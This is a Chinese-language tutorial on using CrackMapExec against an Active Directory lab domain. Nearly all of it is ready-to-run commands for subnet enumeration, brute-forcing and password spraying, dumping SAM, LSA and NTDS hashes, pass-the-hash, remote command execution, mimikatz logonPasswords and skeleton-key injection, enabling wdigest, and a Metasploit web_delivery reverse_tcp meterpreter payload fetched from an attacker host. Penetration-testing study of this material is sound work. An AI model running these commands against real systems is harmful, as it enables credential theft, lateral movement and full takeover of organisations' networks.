Github

介绍

Crackmapexec,也称为 CME,是一种后期开发工具。该工具的开发者将其描述为“用于渗透测试网络的瑞士军刀”。该工具是用 python 开发的,让我们在环境中横向移动,同时了解情况。它通过收集 IP 地址中的所有信息以从 SAM 获取凭据来滥用 Active Directory 安全性。这是我们横向移动所需的唯一信息。它还为我们提供了许多模块,例如 mimikatz、web 交付、wdigest 等,以简化凭据转储和获取会话。因此,通过让攻击者以土地为生,使攻击者变得无所不能。

使用

Windows 服务器信息:

  • 域名:ignite.local
  • 用户:Administrator员
  • 密码:Ignite@987
  • IP地址:192.168.1.105

Windows 客户端信息:

  • 操作系统:Windows 10
  • IP地址:192.168.1.106
  • 用户:kavish、geet、aarti、yashika
  • 密码:Password@1
  1. # 语法
  2. crackmapexec <protocol> <Target_IP> -u '<username>' -p '<passwprd>'

枚举

发现 IP

  1. crackmapexec smb 192.168.1.0/24

用户

使用 —users 参数

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --users

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groups

文本文件

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern txt

日志文件

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern log

共享

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --shares

会话

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessions

密码策略

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --pass-pol

驱动器

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disks

暴力破解

用户名

以暴力破解与我们的正确密码相匹配的用户名。我们将在整个网络上执行此操作,这就是为什么我们将指定 IP 范围而不是仅仅提供 IP。

  1. crackmapexec smb 192.168.1.0/24 -u "kavish" "Administrator" -p "Ignite@987"

密码

我们可以在单个目标系统或整个网络上暴力破解密码

  1. crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987"

字典攻击

  1. crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt

凭据转储

SAM

SAM 是管理所有用户帐户及其密码的安全帐户管理器的缩写。它充当数据库。所有密码都经过哈希处理,然后存储在 SAM 中。使用 CME,我们将使用以下命令以哈希的形式转储来自 SAM 的凭据:

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sam

LSA

本地安全机构 (LSA) 是一个受保护的系统进程,用于对用户进行身份验证并将其登录到本地计算机。域凭据由操作系统使用,并由本地安全机构 (LSA) 进行身份验证。因此,LSA 可以访问凭据,我们将利用此事实通过使用以下命令通过 CME 获取凭据:

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsa

NTDS (DRSUAPI)

NTDS 代表新技术目录服务,DIT 代表目录信息树。此文件充当 Active Directory 的数据库并存储其所有数据,包括所有凭据。因此,我们将使用以下命令操作此文件以转储哈希值:

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi

NTDS (VSS)

从 NTDS 检索凭据的另一种方法是通过 VSS,即卷影副本。对于此方法,请使用以下命令:

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss

传递哈希

一旦我们转储了哈希值,我们就不需要使用任何其他工具来传递哈希值。对于 CME,我们需要使用以下命令:

  1. crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38

密码喷洒

我们通过对相同数量的用户名使用相同的密码来获取帐户,直到找到正确的密码。使用 CME,我们可以使用两种方法执行密码喷射:

  • 使用 –rid-brute
  1. # 语法
  2. crackmapexec <协议> <IP地址> -u <用户名txt文件的路径> -p '<密码>' rid-brute
  3. crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-brute
  • 使用 –continue-on-success
  1. crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continue-on-success

远程命令执行

  1. # 语法
  2. crackmapexec <协议> <IP 地址> -u '<用户名>' -p '<密码>' -x '<命令>'
  3. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser'

atexec

此命令将在任务计划程序服务的帮助下执行命令。

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method atexec

wmiexec

此命令将在 Windows Management Instrumentation (WMI) 服务的帮助下执行命令

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method wmiexec

我们还可以使用 PowerShell Cmdlet 来使用 CME 通过远程执行任务。这是可能的,因为能够通过 WMI 远程执行命令

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '$PSVersionTable' --exec-method wmiexec

谈到WMI,我们也可以使用CME直接在目标上运行WMI命令。参数“–wmi”就是为此目的而设计的。我们可以为它提供 WMI 的命令字符串,它会执行它

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Name from Win32_UserAccount"

crackmapexec - 图1

模块

查看提供的模块

  1. crackmapexec smb -L

crackmapexec - 图2

使用语法:

  1. crackmapexec <协议> <IP地址> -u '<用户名>' -p '<密码> -M <模块>

mimikatz

  1. crackmapexec smb 192.168.1.105 -u 'Admin' -p 'Ignite@987' -M mimikatz

crackmapexec - 图3

提供一个 mimikatz 命令作为参数

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimicking -o COMMAND='privilege::debug';

crackmapexec - 图4因此,该命令将调试所有权限,如上图所示。现在让我们尝试运行另一个命令:

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='sekurlsa::logonPasswords'

crackmapexec - 图5

因此,运行上述命令将显示登录密码的所有哈希值。这样,您还可以提供进一步的参数,例如使用以下命令注入骨架密钥的参数:

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimicking -o COMMAND='misc::skeleton'

crackmapexec - 图6

wdigest

CME 为我们提供的另一个模块是 wdigest。由于密码存储在内存中,因此该模块将创建一个注册表项。

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enable

enum_dns

该模块收集有关目标 DNS 的所有信息并将其显示在控制台上。

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dns

web_delivery

对于此模块,首先使用命令“ msfconsole”打开 Metasploit Framework ,然后键入以下命令集以启动 web_delivery:

  1. use exploit/multi/script/web_delivery
  2. set target 2
  3. set payload windows/meterpreter/reverse_tcp
  4. set lhost <local IP>
  5. set srvhost <local IP>
  6. exploit

crackmapexec - 图7

它将创建一个链接,如上图所示。复制该链接并使用以下命令通过 CME 在目标机器上远程执行它:

  1. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery -o URL=http://192.168.1.112:8080/rlNdPdZQMeYWLF

crackmapexec - 图8

成功执行上述命令后,您将拥有如下图所示的 meterpreter 会话:

crackmapexec - 图9

参考